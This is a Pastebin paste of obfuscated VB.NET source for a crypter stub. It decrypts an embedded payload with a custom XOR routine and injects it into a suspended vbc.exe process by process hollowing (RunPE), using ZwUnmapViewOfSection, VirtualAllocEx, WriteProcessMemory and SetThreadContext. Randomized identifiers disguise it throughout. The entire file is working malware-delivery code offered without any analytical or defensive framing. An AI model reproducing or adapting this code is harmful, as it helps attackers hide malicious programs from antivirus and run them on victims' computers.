Guest User

Untitled

a guest
Oct 22nd, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.79 KB | None | 0 0
  1. Imports System, Microsoft.VisualBasic
  2. Imports System.Runtime.InteropServices
  3. Imports System.Text
  4. Imports System.Reflection
  5. Imports System.Security.Cryptography
  6. Imports System.Runtime.CompilerServices
  7. Imports System.IO
  8. Imports System.IO.FileStream
  9. Imports System.ComponentModel
  10. Imports Microsoft.Win32
  11. Imports System.Diagnostics
  12. Imports System.Object
  13. Imports System.Net
  14. Imports System.Windows.Forms
  15. Imports System.Threading.Thread
  16. Imports System.Environment
  17. Imports System.Threading
  18. Imports System.IO.Compression
  19. Imports System.Resources.ResourceManager
  20.  
  21. Module MainStub
  22. Public Class PolyMorphicStairs
  23. Overloads Shared Function PolyCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
  24. Array.Resize(Data, Data.Length + 1)
  25. Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255))
  26. For i As Integer = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1
  27. Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length)
  28. Next
  29. Return Data
  30. End Function
  31. Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
  32. For i As Integer = 0 To (Data.Length - 1) * (ExtraRounds + 1)
  33. Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
  34. Next
  35. Array.Resize(Data, Data.Length - 1)
  36. Return Data
  37. End Function
  38. End Class
  39. Sub Main()
  40. 'we declare the byte to inject in memory decrypting at "RUNTIME" and aswell getting the key from string to bytes
  41. Dim decryptbytes As Byte() = PolyMorphicStairs.PolyDeCrypt(Convert.FromBase64String(byteswillbemovedhere), Encoding.GetEncoding(1250).GetBytes("KeyWillbEReplacedToHere"))
  42.  
  43. 'injec the pe in memory
  44. oHEawVbXilBWXh.zNMcfiazOHrZbvYdqnWjJJksGhCgFWwXicudzjuBwIZovxHeZDFlrL(decryptbytes, "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe")
  45.  
  46.  
  47. End Sub
  48. End Module
  49.  
  50.  
  51. Public Class oHEawVbXilBWXh
  52. Public Const IDgvPiCwlRabZePIQtHGWacUtJBlTVpSXlvQdREeBzcJ As Long = &H200
  53. Public Const oaeFepjCyWrQJFQhvRFPmhLMsNSaQvFFEJfmtYlkBEHyXmf As Long = &H40
  54. Public Const aIKfIMaWFTrsTcoRkPnGfGRLdMjTdjfrIXegpNIlnUatCr As Long = &H80
  55. Public Const kfgejVbiyaZpfiZybHFmb As Long = &H20
  56. Public Const MDtHSBznnPXjMfLjBNBysLIeOZebmEFabkJpT As Long = &H10
  57. Public Const wdjDLzgbbafQJQuVHXadVtXClhWqhYlveeSEfCOcKbNRrfcWo As Long = &H8
  58. Public Const wTpOUQbetPQajeIXqKdYNsCDB As Long = &H1
  59. Public Const GqkrVihxCEvVkcNuwSuyNXrGsfGcbEkDos As Long = &H4
  60. Public Const gGRMdbxTrkgrJXtgqOJmnUotCrXghfkIOV As UInt32 = &H2
  61.  
  62. Public Shared Sub zNMcfiazOHrZbvYdqnWjJJksGhCgFWwXicudzjuBwIZovxHeZDFlrL(ByVal jZFzByEovDTutKz() As Byte, ByVal QIgKomUJdULYiRRFFfoBdwczSeSPJ As String)
  63. Dim mjGpBHDOfgCDNkRuKqxQYOtopnsdXeIjUkoriIkQ = New raZNyawJXFWJNmaYSkhEayEBMPezBKUPsIbuOJxdmnlqbUcG, zvjFulzKssfSsPcqXpbfFtqkDzWsRXTehwSTdmhLbtOhbRwFG As strwUahMZYorumMaTElnIkpDzivV, SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw = New jLTfIbHewWwICUEaKVaXizOWXgFyceLR, BLidHIoJOWMrBBzFbipUhgw = New PXNsnomrdjqHihxnqhHjPNujEtkyJrreeGObDXCarEspjCyVFQWSduvRTczgK, zDuTibLtvQsxLIqEddFNaCVBZqRrDwPxUEPVRctJQRbytXZFMfmcIDECH = New kRXqyoUPPOTEwEiJuLORJhLpZVKeVMZjTSGr, GNUkLLaQTLkNrpXMgXObmVUIIjrEgzfDVhVTNfcyityvHYZuvFdKnDj = New kRXqyoUPPOTEwEiJuLORJhLpZVKeVMZjTSGr
  64. Dim BUcRwssqv = GCHandle.Alloc(jZFzByEovDTutKz, GCHandleType.Pinned)
  65. Dim unuZzlCGIzZCgRMBVMDQbKJwiKgsHoGrvWKICU As Integer = BUcRwssqv.AddrOfPinnedObject.ToInt32
  66. Dim RnKinkvyOjktEycrLexshNWXVaLEMpDCSWYQpFwhPRlOTh As New gDQeMdPTsheYqnKgFLHSW
  67. RnKinkvyOjktEycrLexshNWXVaLEMpDCSWYQpFwhPRlOTh = Marshal.PtrToStructure(BUcRwssqv.AddrOfPinnedObject, RnKinkvyOjktEycrLexshNWXVaLEMpDCSWYQpFwhPRlOTh.GetType)
  68. BUcRwssqv.Free()
  69. Dim GaDHVSBOnnP As String = "kernel32"
  70. Dim lxatYwPoPaUmVscmsoBR As String = "ntdll"
  71. Dim IdqeQrONoWnZ As IdqeQrONoWnZ = zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of IdqeQrONoWnZ)(GaDHVSBOnnP, "CreateProcessA")
  72. Dim rRrDwPMjFdVRduJeSbztXZGafndJSSRVszHl As rRrDwPMjFdVRduJeSbztXZGafndJSSRVszHl = zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of rRrDwPMjFdVRduJeSbztXZGafndJSSRVszHl)(GaDHVSBOnnP, "GetThreadContext")
  73. Dim JIYbeWvKDnVXrUZmjSfFFgoCdxcBSsTeYqZvfqwsEVkrtDaVyBhnHPEjffdiU As JIYbeWvKDnVXrUZmjSfFFgoCdxcBSsTeYqZvfqwsEVkrtDaVyBhnHPEjffdiU = zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of JIYbeWvKDnVXrUZmjSfFFgoCdxcBSsTeYqZvfqwsEVkrtDaVyBhnHPEjffdiU)(GaDHVSBOnnP, "ReadProcessMemory")
  74. Dim ahyZYoehZxbGElaukbpziiVVwGStOsRjujga As ahyZYoehZxbGElaukbpziiVVwGStOsRjujga = zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of ahyZYoehZxbGElaukbpziiVVwGStOsRjujga)(GaDHVSBOnnP, "WriteProcessMemory")
  75. Dim HEaKVaXizBWXgFlPeLRksiOJKINx As HEaKVaXizBWXgFlPeLRksiOJKINx = zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of HEaKVaXizBWXgFlPeLRksiOJKINx)(lxatYwPoPaUmVscmsoBR, "ZwUnmapViewOfSection")
  76. Dim IPtUGWZcUtWBlgVpgXkuedRDeBNbJaMQqecWolIdDIF As IPtUGWZcUtWBlgVpgXkuedRDeBNbJaMQqecWolIdDIF = zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of IPtUGWZcUtWBlgVpgXkuedRDeBNbJaMQqecWolIdDIF)(GaDHVSBOnnP, "VirtualAllocEx")
  77. Dim ehvRTcmgKasNgaQvFFEItmtYkkBEHyXmfPwz As ehvRTcmgKasNgaQvFFEItmtYkkBEHyXmfPwz = zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of ehvRTcmgKasNgaQvFFEItmtYkkBEHyXmfPwz)(GaDHVSBOnnP, "SetThreadContext")
  78. Dim eHMZkFSGrTpoQxPBFfGRLdawTrjf As eHMZkFSGrTpoQxPBFfGRLdawTrjf = zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of eHMZkFSGrTpoQxPBFfGRLdawTrjf)(GaDHVSBOnnP, "ResumeThread")
  79. If IdqeQrONoWnZ(Nothing, QIgKomUJdULYiRRFFfoBdwczSeSPJ, zDuTibLtvQsxLIqEddFNaCVBZqRrDwPxUEPVRctJQRbytXZFMfmcIDECH, GNUkLLaQTLkNrpXMgXObmVUIIjrEgzfDVhVTNfcyityvHYZuvFdKnDj, False, 4, Nothing, Nothing, BLidHIoJOWMrBBzFbipUhgw, SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw) = 0 Then Return
  80. Dim FWkGtDbVyBhCHPFkttsxUbiNaZps As New CXYirmQfyTlgVBKLJOyszdqpGKNEdskVDFaDHVfzOBnOkjMsLwBaBMGYV
  81. FWkGtDbVyBhCHPFkttsxUbiNaZps = Marshal.PtrToStructure(New IntPtr(unuZzlCGIzZCgRMBVMDQbKJwiKgsHoGrvWKICU + RnKinkvyOjktEycrLexshNWXVaLEMpDCSWYQpFwhPRlOTh.NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD), FWkGtDbVyBhCHPFkttsxUbiNaZps.GetType)
  82. Dim NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD, uwdjDLzfbbafQWeuVUkadVtXCzhWqhXlveeRSsCOqK As Long, zXpCpnhzwTDOTQbstPQZxeIXEKdlbHCDBGqjrVwhxCEvV As UInteger
  83. BLidHIoJOWMrBBzFbipUhgw.ezCLiPsJpvPXMrnnmrcVcHhTjmphGjOxtiDsjxIqqd = Len(BLidHIoJOWMrBBzFbipUhgw)
  84. mjGpBHDOfgCDNkRuKqxQYOtopnsdXeIjUkoriIkQ.PLWnoKLVsZDSyGYgWCwxvBlfmQrcsw = 65539
  85. If FWkGtDbVyBhCHPFkttsxUbiNaZps.jzprjJlQOwkFvmBLttggIQdFYEctGtrlEBXHSYUfwxT <> 17744 Or RnKinkvyOjktEycrLexshNWXVaLEMpDCSWYQpFwhPRlOTh.pfWkuddQQrzNoInMdpebVnkHqCIEPghDE <> 23117 Then Return
  86. If IdqeQrONoWnZ(Nothing, QIgKomUJdULYiRRFFfoBdwczSeSPJ, zDuTibLtvQsxLIqEddFNaCVBZqRrDwPxUEPVRctJQRbytXZFMfmcIDECH, GNUkLLaQTLkNrpXMgXObmVUIIjrEgzfDVhVTNfcyityvHYZuvFdKnDj, False, 4, Nothing, Nothing, BLidHIoJOWMrBBzFbipUhgw, SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw) = 0 Then Return
  87. rRrDwPMjFdVRduJeSbztXZGafndJSSRVszHl(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.ZemcIRRQVryGkxwNQTLjyrbKMgJObYHUttVdqSlRpHhHSMe, mjGpBHDOfgCDNkRuKqxQYOtopnsdXeIjUkoriIkQ)
  88. JIYbeWvKDnVXrUZmjSfFFgoCdxcBSsTeYqZvfqwsEVkrtDaVyBhnHPEjffdiU(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.bgtEZmaMnKJkSjVZzalfxuRmMEzLcrNzKhcGIn, mjGpBHDOfgCDNkRuKqxQYOtopnsdXeIjUkoriIkQ.fhOinvlRZaYdBIPtGG + 8, NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD, 4, 0)
  89. HEaKVaXizBWXgFlPeLRksiOJKINx(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.bgtEZmaMnKJkSjVZzalfxuRmMEzLcrNzKhcGIn, NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD)
  90. Dim xcNJwRIyNXGFsfGcoEkCosSGExQNjG As UInt32 = IPtUGWZcUtWBlgVpgXkuedRDeBNbJaMQqecWolIdDIF(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.bgtEZmaMnKJkSjVZzalfxuRmMEzLcrNzKhcGIn, FWkGtDbVyBhCHPFkttsxUbiNaZps.Optional.rhkbBdJGocxnesDllYYzIVwQvUlxmjd, FWkGtDbVyBhCHPFkttsxUbiNaZps.Optional.OVzaMcfiaycHrmbvmdqBkjXJkHThPgSWwkicurOjJOLWZoKLUeZDSlFYTInw, 12288, 4)
  91. If xcNJwRIyNXGFsfGcoEkCosSGExQNjG <> 0 Then
  92. ahyZYoehZxbGElaukbpziiVVwGStOsRjujga(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.bgtEZmaMnKJkSjVZzalfxuRmMEzLcrNzKhcGIn, xcNJwRIyNXGFsfGcoEkCosSGExQNjG, jZFzByEovDTutKz, FWkGtDbVyBhCHPFkttsxUbiNaZps.Optional.cafQKRuIHXbeVuKDmUWrUYmwRfSFfCBdKcOSrSdXpmJfE, zXpCpnhzwTDOTQbstPQZxeIXEKdlbHCDBGqjrVwhxCEvV)
  93. uwdjDLzfbbafQWeuVUkadVtXCzhWqhXlveeRSsCOqK = RnKinkvyOjktEycrLexshNWXVaLEMpDCSWYQpFwhPRlOTh.NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD + 248
  94. For rxtGJXsuEOJm As Integer = 0 To FWkGtDbVyBhCHPFkttsxUbiNaZps.luTzdsZfyHwcXYWbMFMqRDTXZRqTxidSmdUhsbaOz.WZcUsIBkSVpSWkuQdQDeBybJaMQ - 1
  95. zvjFulzKssfSsPcqXpbfFtqkDzWsRXTehwSTdmhLbtOhbRwFG = Marshal.PtrToStructure(New IntPtr(unuZzlCGIzZCgRMBVMDQbKJwiKgsHoGrvWKICU + uwdjDLzfbbafQWeuVUkadVtXCzhWqhXlveeRSsCOqK + rxtGJXsuEOJm * 40), zvjFulzKssfSsPcqXpbfFtqkDzWsRXTehwSTdmhLbtOhbRwFG.GetType)
  96. Dim TlGZTJoxxwBmfmRddswzrQf(zvjFulzKssfSsPcqXpbfFtqkDzWsRXTehwSTdmhLbtOhbRwFG.XcpmViIIjrFgBfEVvW) As Byte
  97. For lWEGaDIWgBOCnPlkMtLxC As Integer = 0 To zvjFulzKssfSsPcqXpbfFtqkDzWsRXTehwSTdmhLbtOhbRwFG.XcpmViIIjrFgBfEVvW - 1 : TlGZTJoxxwBmfmRddswzrQf(lWEGaDIWgBOCnPlkMtLxC) = jZFzByEovDTutKz(zvjFulzKssfSsPcqXpbfFtqkDzWsRXTehwSTdmhLbtOhbRwFG.byRdRPJbY + lWEGaDIWgBOCnPlkMtLxC) : Next
  98. ahyZYoehZxbGElaukbpziiVVwGStOsRjujga(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.bgtEZmaMnKJkSjVZzalfxuRmMEzLcrNzKhcGIn, xcNJwRIyNXGFsfGcoEkCosSGExQNjG + zvjFulzKssfSsPcqXpbfFtqkDzWsRXTehwSTdmhLbtOhbRwFG.NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD, TlGZTJoxxwBmfmRddswzrQf, zvjFulzKssfSsPcqXpbfFtqkDzWsRXTehwSTdmhLbtOhbRwFG.XcpmViIIjrFgBfEVvW, zXpCpnhzwTDOTQbstPQZxeIXEKdlbHCDBGqjrVwhxCEvV)
  99. Next rxtGJXsuEOJm
  100. Dim lMXRjgEZxp = BitConverter.GetBytes(xcNJwRIyNXGFsfGcoEkCosSGExQNjG)
  101. ahyZYoehZxbGElaukbpziiVVwGStOsRjujga(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.bgtEZmaMnKJkSjVZzalfxuRmMEzLcrNzKhcGIn, mjGpBHDOfgCDNkRuKqxQYOtopnsdXeIjUkoriIkQ.fhOinvlRZaYdBIPtGG + 8, lMXRjgEZxp, 4, zXpCpnhzwTDOTQbstPQZxeIXEKdlbHCDBGqjrVwhxCEvV)
  102. mjGpBHDOfgCDNkRuKqxQYOtopnsdXeIjUkoriIkQ.WWxGTuOtSj = xcNJwRIyNXGFsfGcoEkCosSGExQNjG + FWkGtDbVyBhCHPFkttsxUbiNaZps.Optional.NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD
  103. ehvRTcmgKasNgaQvFFEItmtYkkBEHyXmfPwz(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.ZemcIRRQVryGkxwNQTLjyrbKMgJObYHUttVdqSlRpHhHSMe, mjGpBHDOfgCDNkRuKqxQYOtopnsdXeIjUkoriIkQ)
  104. eHMZkFSGrTpoQxPBFfGRLdawTrjf(SXIBImzyPSVNmBteMOiLQdoJWKvXtsUCTFJjKVPheBXvnjuMbw.ZemcIRRQVryGkxwNQTLjyrbKMgJObYHUttVdqSlRpHhHSMe)
  105. End If
  106. End Sub
  107. Declare Function FMOXupTVCIbjYEzzyEovDTts Lib "kernel32" Alias "LoadLibraryA" (ByVal dqSmRpHhITNfOkUflhsKZghrPKnpWcvEsYUUSXJPWnONdTWOmQusaP As String) As IntPtr
  108. Declare Function ndgYxaFDkZtkbozihVVwFRtNsQiuigaspMvHMJUlmIJSqXBQwD Lib "kernel32" Alias "GetProcAddress" (ByVal WhyzVXgEkOeLRkshNJJHMxqxcDoEILDbFjTPEYOFT As IntPtr, ByVal dqSmRpHhITNfOkUflhsKZghrPKnpWcvEsYUUSXJPWnONdTWOmQusaP As String) As IntPtr
  109. Private Shared Function zMcrNBKhcGIoIOWLqzByEbhpTgfvzCtTiaLsuPrwLHpDcdE(Of lMXRjgEZxp)(ByVal dqSmRpHhITNfOkUflhsKZghrPKnpWcvEsYUUSXJPWnONdTWOmQusaP As String, ByVal wnerDlkYYzIUwQvTlxljdvsPyKP As String) As lMXRjgEZxp
  110. Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(ndgYxaFDkZtkbozihVVwFRtNsQiuigaspMvHMJUlmIJSqXBQwD(FMOXupTVCIbjYEzzyEovDTts(dqSmRpHhITNfOkUflhsKZghrPKnpWcvEsYUUSXJPWnONdTWOmQusaP), wnerDlkYYzIUwQvTlxljdvsPyKP), GetType(lMXRjgEZxp)), Object), lMXRjgEZxp)
  111. End Function
  112. <StructLayout(0)> Structure raZNyawJXFWJNmaYSkhEayEBMPezBKUPsIbuOJxdmnlqbUcG
  113. Dim PLWnoKLVsZDSyGYgWCwxvBlfmQrcsw, XPoRvgcQlbSgqZZMyZvJXEVIMlZXRjgDZxEzLOdyz, XhcGVnIbVLqzByEohoT, wwNQTLjyrbJMgJNblHUHtVrpSzRDHgHSMebyUslhsKYthrP, XBDjEJRGmuvtyWdkObaquxoOdWGnpLnrGCkyYYyIUwQvTl, WvHBTDZJUaWhyNVWgE, MprYexGvbWWVaLS As UInt32, kjzDGxXlePwyTvBOYt As kjzDGxXlePwyTvBOYt
  114. Dim EUuuKzDuUwbZHvQHxLVFErrTbnQjPmFRFDwPMiSdifqIJefoNtX, xdkELBgbcafRKRv, jVlorjJlQBvkFv, DRbKKxjLhtIpHswXLI, QifCYwDyKNcxyJSNqGZtMHwckljoaTaFRQg, uxpOdWGoqLnsGQlymYzWVwevhlMlwqJGdyXQMXoDYMWto, fhOinvlRZaYdBIPtGG, BEHyXmfPxzUwBPMuIhhJRdGZFduVuGzSCYITZVgxMUVfDx, lnUatCqWSSRWHNVlMLbRUMkOsqYNhYOcmVV, WWxGTuOtSj, NBysLIeOZebmEFabkJpTiPVowmSNOMRCuCgHsJNPHgJnYTIcTKXiRQE, EfCOcKbNRqfcWolJ, pOTQbetPQZjeIXqKd, DsYghfkWPWzNMcgjazP, VGnpKmrFPkxlX, JfeHnGrvVvHBTQmJhZVhxNiWf As UInt32
  115. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim RMprXrxFuajkinLRYDQPfildDRK As Byte()
  116. End Structure
  117. <StructLayout(0)> Structure kjzDGxXlePwyTvBOYt
  118. Dim LtvQswLIqEddFNZCVBZqRqCvOxUEPVR, BSgopyXSuwdjDLBgb, potelsJjiyorjIlQOvkFvmzKssggHQcFYEbtGtqkDzXHRXTfvwSUdBiMbI, fyHvbXXWaMFMqRDTWZRpTxhdSmcThraaNzbxKYGXJNm, omgyvSoNT, ZloDYajtnRhzUnh, ChqrpufYfKXWmpskJYRCjlGinBLgthTuR As UInteger
  119. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim dGnFquUuGzSPmIgYVgxMhVeDwacJdiqgMVVUYvDKoBBQUXPnDvfNQk As Byte()
  120. Dim State As UInt32
  121. End Structure
  122. Structure VIuWrqTBSEIhITNfczVtlitLZuirQKnpWqvEtZ
  123. Dim NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD, XcpmViIIjrFgBfEVvW As UInt32
  124. End Structure
  125. Structure strwUahMZYorumMaTElnIkpDzivV
  126. Dim uoHqNwINKVmBJKTrlPRxEXfVBvwuzkryPppGvxpPrWUCqLCsHRzymmOWiLe As Byte, VIuWrqTBSEIhITNfczVtlitLZuirQKnpWqvEtZ As VIuWrqTBSEIhITNfczVtlitLZuirQKnpWqvEtZ, NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD, XcpmViIIjrFgBfEVvW, byRdRPJbY, TDOTPbstPQZxeIXEKdlbHCDBGqjqVvhxC, SKiMqaWLfVMa, CkkXKkHUiPhTXwkicurOkJPLWZoKLVeZDTlG, mgWCLMKPzszerqHKNFeslWEGa, PLWnoKLVsZDSyGYgWCwxvBlfmQrcsw As UInt32
  127. End Structure
  128. Structure jLTfIbHewWwICUEaKVaXizOWXgFyceLR
  129. Dim bgtEZmaMnKJkSjVZzalfxuRmMEzLcrNzKhcGIn, ZemcIRRQVryGkxwNQTLjyrbKMgJObYHUttVdqSlRpHhHSMe As IntPtr, byisyuHXmtvFcXBDjpJRHmhhglWdkBbbqgjbzd, SQymIxoDNvviiKSfHaGevIvtnGDZJUaWhy As Integer
  130. End Structure
  131. <StructLayout(0, CharSet:=3)> Structure PXNsnomrdjqHihxnqhHjPNujEtkyJrreeGObDXCarEspjCyVFQWSduvRTczgK
  132. Dim ezCLiPsJpvPXMrnnmrcVcHhTjmphGjOxtiDsjxIqqd As Integer, eFboDjBnr, bQNHZWtPntpC, jxUVeojNcuPicSxHIGLvovanmDGJBaohSzCWyERcwKxj As String, ZutWEVHLkLWQifDYwolwOc, lWEGaDIWgBOCnPlkMtLxC, JvGdYCEjEKSHmvwuzXdkPcbr, JMEcrkUCF, EglyverRRsBOpJoNeFe, BuNvTDNTPb, GUcdnLGjkRYqyoUPQOTELSiKJZPSJiLqnWKfVMakTTGG, PLWnoKLVsZDSyGYgWCwxvBlfmQrcsw As Integer
  133. Dim MVhJdIgyKyvpIFcMWcYkBCXZ, sRxbqXdwFuaVWUZKDKoPBRVXPoRvgbQkbSfq As Short, mmZMnKWkSjVZynkewtRmLRNZc, WrsCMHkzTmGBpVefdiTMTxLK, koriIXQzhkFhlzKfsfSsPOqYpbfFfqkDzWsRJFRiwSGPmhLNtOTbRw, [Error] As Integer
  134. End Structure
  135. <StructLayout(0)> Structure kRXqyoUPPOTEwEiJuLORJhLpZVKeVMZjTSGr
  136. Dim TUSXuBImzyPTVNmCteMOiLQda As Integer, oCbbDLYzTyXoPoztMvSCNTParGOPZwrVWDKck As IntPtr, kRMMLQBIPfGFVLOGeImkSH As Integer
  137. End Structure
  138. <StructLayout(0)> Structure gDQeMdPTsheYqnKgFLHSW
  139. Dim pfWkuddQQrzNoInMdpebVnkHqCIEPghDE, sQxaqXdwFtZVVUZKDKoPBRUXPnRvfbQkbRfpYYLxZvIWEVHLlZW, btqNjINKVYnJKTdYCRkEXSHmvwuzkdlPcbrvxpPeWHoqMnsHRlzmZzWVxevim, qRcWolJeDurDUiErBZTwyfzFNDirrquSZgLXXnqtlKZ, XcpmViIIjrFgBfEVvW, fQxzUwCQMuIhiJSeHaFdvVvHB, dNjTejgrJXfgpOIlnUatCrXST, JfeHnGrvVvHBTQmJhZVhxNiWf, vBmszQrqHwzqQsYWEsNDtISBBnnPXkMgLjBNCysLIeOZfbmE, TopyXEhwdjDLBgbcaf, bUbGgShlofFhNwshCriwH, UUHtVrESzRDHhVSMebyUsyuHKYtvFPKn, QjEWRHmuvtykdkObaquxoOdWGnqLnrGQkyl, iKgfHoGrvWvHBTQnJhaWhyNiWgEycdKejrhNWW As UInt16
  140. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim eFboDjBnr As UInt16()
  141. Dim zFciqUhgwBDuUjbMtvQsxMIqEdeFOaCWBZrRrDwP, MiSdjfqIWefpNIlmTasBqWRSQVGNUkM As UInt16
  142. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim sRxbqXdwFuaVWUZKDKoPBRVXPoRvgbQkbSfq As UInt16()
  143. Dim NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD As Int32
  144. End Structure
  145. Structure CXYirmQfyTlgVBKLJOyszdqpGKNEdskVDFaDHVfzOBnOkjMsLwBaBMGYV
  146. Dim jzprjJlQOwkFvmBLttggIQdFYEctGtrlEBXHSYUfwxT As UInt32, luTzdsZfyHwcXYWbMFMqRDTXZRqTxidSmdUhsbaOz As GbzsozRgCoyWRuwcwDKzfopnsQWdIVUknqiIWPzhjEglyverRRsB, [Optional] As YBUzXpPpBuNwTDNTPbsHPQZwrVXEKdlb
  147. End Structure
  148. <StructLayout(0)> Structure GbzsozRgCoyWRuwcwDKzfopnsQWdIVUknqiIWPzhjEglyverRRsB
  149. Dim pMYmUlXbBpmgyvToNTPbesOQZjeHXpKdXNsCCBGqjqVih, WZcUsIBkSVpSWkuQdQDeBybJaMQ As UInt16, HhsmFCYuTLHTkyUIRojNPvQVdTy, QjEWRHmuvtykdkObaquxoOdWGnqLnrGQkyl, VWUZwDKoCBRVXPoEvgOQkNSfcLYxxZhuWqV As UInt32, XcpmViIIjrFgBfEVvW, PLWnoKLVsZDSyGYgWCwxvBlfmQrcsw As UInt16
  150. End Structure
  151. <StructLayout(0)> Structure YBUzXpPpBuNwTDNTPbsHPQZwrVXEKdlb
  152. Public pfWkuddQQrzNoInMdpebVnkHqCIEPghDE As UInt16, SjKkvpIqNwIOKVmCJLUrmQSyFYgVBwwvzlryQqpGvyqP, JomUJdTKYiRREEfnBcwbzRdSPJb As Byte, wTDOUQbstPQaxeIYELembHDDBGrkrWwixCFwVxdNJxSIyNXGGsfHcpElDosSH, SMebxUsxuGJYtuEOJmCVoIDrXghfkVOWzNMcgiazPHrZbvYdrCWjXKkHGh, gxjnOoztMJfBZSOZqGbOYvqUWCWckZF, NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD, mnlqOUbGTSilogFUNx, svQswLHqEddFNZCVBYqQqCvOxUEPURctIQRaysWYFLemcIDECHryGWww, rhkbBdJGocxnesDllYYzIVwQvUlxmjd As UInt32, GDaKUaWiyzVXgElPeLRksiOJJINxqxcDoFILDbFjTPEYP, kxJrqeQrOaoWnaeErp As UInt32
  153. Public wPMjFdjfruJegpzuXnGa, SMChqqpufYfKXWmpskJY, iSzDXzEScxLxkLhgJqItxXxJDVSoLjbXjBPkYhFzdfMgltjPYY, uzXelQccrvyqPeXHorMosHDmz, mmOWjLfKizaBMGYHeOYealD, iqrCZUxyfmFNDidechSZgwYXndgXwZFCkYtjaoyhhUUvERsM As UInt16, QoGSGExQNjTekgrJKfgqOuYnUbtCrXSTRWI, OVzaMcfiaycHrmbvmdqBkjXJkHThPgSWwkicurOjJOLWZoKLUeZDSlFYTInw, cafQKRuIHXbeVuKDmUWrUYmwRfSFfCBdKcOSrSdXpmJfE, TopyXEhwdjDLBgbcaf As UInt32, HDOftPDNkfJKqLQYOtDDCHdkrWjiyCFwVkdNvxSuzNKsGffH, PLWnoKLVsZDSyGYgWCwxvBlfmQrcsw As UInt16
  154. Public uHiDhGYxYjdveClvCxKapwyIfaEGmsMUJokkjoZfnEedtjmeDgLJqfzqg, JTCCooQYlNgM, JamaYSkhEnyF, RdtuQSbygKZGMfndJEEDIslsXxjzDGxWzeOKyTK, ZmwffTFgDPdLcOSsgdXpmKfEKGSVjFHQaVyOgBUOEjssrw, vovammCGJzZohRyCWyDRbwKwjKgfIpHsw As UInt32
  155. <MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public CbmgyvToNGCNe As UQQOTFLSjKJZPSKiLqoWLfVMakTTGGhpDeydCTfURLdaxhr()
  156. End Structure
  157. <StructLayout(0)> Structure UQQOTFLSjKJZPSKiLqoWLfVMakTTGGhpDeydCTfURLdaxhr
  158. Dim NFdslVDGaDHVSBOnnPXjMfLiBaBMGYIeOZebmESabkJD, XcpmViIIjrFgBfEVvW As UInt32
  159. End Structure
